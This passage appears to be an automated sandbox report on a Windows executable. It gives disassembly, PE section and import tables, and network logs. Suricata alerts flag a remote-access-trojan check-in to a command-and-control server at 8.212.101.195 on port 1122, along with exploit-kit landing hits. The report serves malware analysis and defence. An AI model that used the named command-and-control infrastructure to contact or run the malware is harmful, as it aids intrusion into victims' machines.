jne 00007FB2F8DA0506h
xor al, al
jmp 00007FB2F8DA0516h
call 00007FB2F8DAE1F1h
test al, al
jne 00007FB2F8DA050Bh
xor ecx, ecx
call 00007FB2F8DA1C22h
jmp 00007FB2F8DA04ECh
mov al, bl
dec eax
add esp, 20h
pop ebx
ret
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [000411BCh], 00000000h
mov ebx, ecx
jne 00007FB2F8DA0569h
cmp ecx, 01h
jnbe 00007FB2F8DA056Ch
call 00007FB2F8DA0C4Ah
test eax, eax
je 00007FB2F8DA052Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3bd0c	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x153c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x4e000	0x20c4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x54000	0x758	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x39480	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39340	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2a000	0x418	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28800	0x28800	443d51fb84559b563832949912f06b00	False	0.5583465952932098	data	6.488023200564254	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2a000	0x12b16	0x12c00	03cb905c3f1d41732066c037532cd74c	False	0.51546875	data	5.824610481275219	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3d000	0x103f8	0xe00	afabb66fdcd2825de5909f10c900fca7	False	0.13309151785714285	DOS executable (block device driver \377\3)	1.8096886543499544	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x4e000	0x20c4	0x2200	7b210ceebebc00c96d1c55c2b456bbb4	False	0.47794117647058826	data	5.274096406482418	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x51000	0x15c	0x200	c059b775abce97446903f3597b027fae	False	0.384765625	data	2.808567494642619	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x52000	0x153c	0x1600	60f303f9f424891fa7b1e054893c5a44	False	0.4366122159090909	data	5.297323385124905	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x54000	0x758	0x800	11aaafc72361ec8886a740c3e209ceb3	False	0.544921875	data	5.2576643703968475	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x520e8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	0.43150319829424305
RT_GROUP_ICON	0x52f90	0x14	data	1.15
RT_MANIFEST	0x52fa4	0x596	XML 1.0 document, ASCII text, with CRLF line terminators	0.4461538461538462

Imports

DLL	Import
USER32.dll	CreateWindowExW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, IsValidCodePage, GetACP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, GetModuleFileNameW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, GetOEMCP, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, CloseHandle, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetCPInfo, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEnvironmentVariableW, RtlUnwindEx, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, SetEndOfFile, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-29T13:54:23.450046+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49895	8.212.101.195	1122	TCP
2024-12-29T13:55:37.140975+0100	2022112	ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015	1	192.168.2.4	50597	104.244.42.67	443	TCP
2024-12-29T13:55:50.214430+0100	2022112	ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015	1	192.168.2.4	50738	188.125.88.204	443	TCP
2024-12-29T13:55:54.258584+0100	2022112	ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015	1	192.168.2.4	50775	188.125.88.204	443	TCP
2024-12-29T13:55:56.777888+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49930	8.212.101.195	1122	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 13:52:50.665338039 CET	49675	443	192.168.2.4	173.222.162.32
Dec 29, 2024 13:53:03.250348091 CET	49672	443	192.168.2.4	173.222.162.32
Dec 29, 2024 13:53:03.250392914 CET	443	49672	173.222.162.32	192.168.2.4
Dec 29, 2024 13:53:08.188920975 CET	49723	80	192.168.2.4	2.16.168.102
Dec 29, 2024 13:53:08.310264111 CET	80	49723	2.16.168.102	192.168.2.4
Dec 29, 2024 13:53:08.310409069 CET	49723	80	192.168.2.4	2.16.168.102
Dec 29, 2024 13:53:54.603715897 CET	49724	80	192.168.2.4	2.16.168.117
Dec 29, 2024 13:53:54.724961042 CET	80	49724	2.16.168.117	192.168.2.4
Dec 29, 2024 13:53:54.725027084 CET	49724	80	192.168.2.4	2.16.168.117
Dec 29, 2024 13:54:05.528126955 CET	49799	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:54:05.528162956 CET	443	49799	172.217.21.36	192.168.2.4
Dec 29, 2024 13:54:05.528218985 CET	49799	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:54:05.528455973 CET	49799	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:54:05.528470993 CET	443	49799	172.217.21.36	192.168.2.4
Dec 29, 2024 13:54:07.271012068 CET	443	49799	172.217.21.36	192.168.2.4
Dec 29, 2024 13:54:07.271267891 CET	49799	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:54:07.271287918 CET	443	49799	172.217.21.36	192.168.2.4
Dec 29, 2024 13:54:07.272331953 CET	443	49799	172.217.21.36	192.168.2.4
Dec 29, 2024 13:54:07.272397041 CET	49799	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:54:07.273346901 CET	49799	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:54:07.273411989 CET	443	49799	172.217.21.36	192.168.2.4
Dec 29, 2024 13:54:07.322371960 CET	49799	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:54:07.322382927 CET	443	49799	172.217.21.36	192.168.2.4
Dec 29, 2024 13:54:07.525995970 CET	49799	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:54:12.620147943 CET	49829	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:54:12.620157957 CET	443	49829	152.199.21.175	192.168.2.4
Dec 29, 2024 13:54:12.620220900 CET	49829	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:54:12.620508909 CET	49829	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:54:12.620517969 CET	443	49829	152.199.21.175	192.168.2.4
Dec 29, 2024 13:54:14.399218082 CET	443	49829	152.199.21.175	192.168.2.4
Dec 29, 2024 13:54:14.412889004 CET	49829	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:54:14.412899017 CET	443	49829	152.199.21.175	192.168.2.4
Dec 29, 2024 13:54:14.413964987 CET	443	49829	152.199.21.175	192.168.2.4
Dec 29, 2024 13:54:14.414016962 CET	49829	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:54:14.450333118 CET	49829	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:54:14.450490952 CET	443	49829	152.199.21.175	192.168.2.4
Dec 29, 2024 13:54:14.548278093 CET	49829	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:54:14.548310041 CET	443	49829	152.199.21.175	192.168.2.4
Dec 29, 2024 13:54:14.650305986 CET	49829	443	192.168.2.4	152.199.21.175
Dec 29, 2024 13:54:16.952497005 CET	443	49799	172.217.21.36	192.168.2.4
Dec 29, 2024 13:54:16.952547073 CET	443	49799	172.217.21.36	192.168.2.4
Dec 29, 2024 13:54:16.952594042 CET	49799	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:54:17.179228067 CET	49799	443	192.168.2.4	172.217.21.36
Dec 29, 2024 13:54:17.179243088 CET	443	49799	172.217.21.36	192.168.2.4
Dec 29, 2024 13:54:23.328789949 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:23.449686050 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:23.449769974 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:23.450046062 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:23.570810080 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.017898083 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.018224955 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.139128923 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.139168024 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.139245987 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.562731981 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.562746048 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.562752962 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.562870026 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.562875986 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.562881947 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.562891960 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.562957048 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.562994003 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.563168049 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.563179970 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.563191891 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.563210964 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.563236952 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.571126938 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.683819056 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.683886051 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.782660007 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.782768011 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.782812119 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.786911964 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.787035942 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.787079096 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.795367956 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.795495987 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.795542002 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.803865910 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.803972006 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.804024935 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.812325001 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.812448025 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.812500000 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.820826054 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.820883989 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.820931911 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.829217911 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.829332113 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.829385042 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.837706089 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.837820053 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.837869883 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.846246004 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.846293926 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.846333027 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.854617119 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.854758978 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.854814053 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:25.863101959 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.863167048 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:25.863215923 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.003134012 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.003207922 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.003252983 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.005923986 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.006081104 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.006115913 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.011630058 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.011750937 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.011791945 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.017322063 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.017482042 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.017527103 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.023000956 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.023108006 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.023149967 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.028723955 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.028832912 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.028873920 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.034465075 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.034601927 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.034657955 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.040128946 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.040245056 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.040303946 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.045907974 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.045933962 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.045990944 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.051624060 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.051703930 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.051755905 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.057246923 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.057357073 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.057410955 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.062954903 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.063062906 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.063103914 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.068717957 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.068799019 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.068842888 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.074362993 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.074415922 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.074455023 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.080091953 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.080142975 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.080188990 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.085766077 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.085884094 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.085941076 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.091494083 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.091557980 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.091605902 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.097132921 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.223417044 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.223484993 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.223614931 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.225481987 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.225549936 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.225567102 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.229760885 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.229823112 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.229860067 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.234126091 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.234173059 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.234173059 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.238399982 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.238452911 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.238517046 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.242719889 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.242779016 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.242834091 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.247008085 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.247054100 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.247117996 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.251347065 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.251394033 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.251455069 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.255666971 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.255717039 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.255743980 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.259937048 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.259988070 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.260041952 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.264229059 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.264281988 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.264321089 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.268522024 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.268567085 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.268649101 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.272881031 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.272921085 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.272995949 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.277240038 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.277292967 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.277308941 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.281502962 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.281554937 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.281559944 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.285795927 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.285840034 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.285888910 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.290137053 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.290182114 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.290226936 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.294437885 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.294482946 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.294543028 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.298729897 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.298769951 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.298902988 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.303051949 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.303093910 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.303178072 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.307363987 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.307411909 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.307471037 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.311678886 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.311722040 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.311796904 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.315993071 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.316045046 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.316082001 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.320364952 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.320415020 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.320434093 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.324589968 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.324637890 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.324713945 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.328922033 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.328963041 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.329037905 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.333233118 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.333250046 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.333275080 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.446890116 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.446902037 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.446913958 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.446924925 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.446971893 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.447001934 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.449887037 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.449958086 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.450016975 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.451636076 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.451689005 CET	49895	1122	192.168.2.4	8.212.101.195
Dec 29, 2024 13:54:26.451714993 CET	1122	49895	8.212.101.195	192.168.2.4
Dec 29, 2024 13:54:26.455008984 CET	1122	49895	8.212.101.195	192.168.2.4
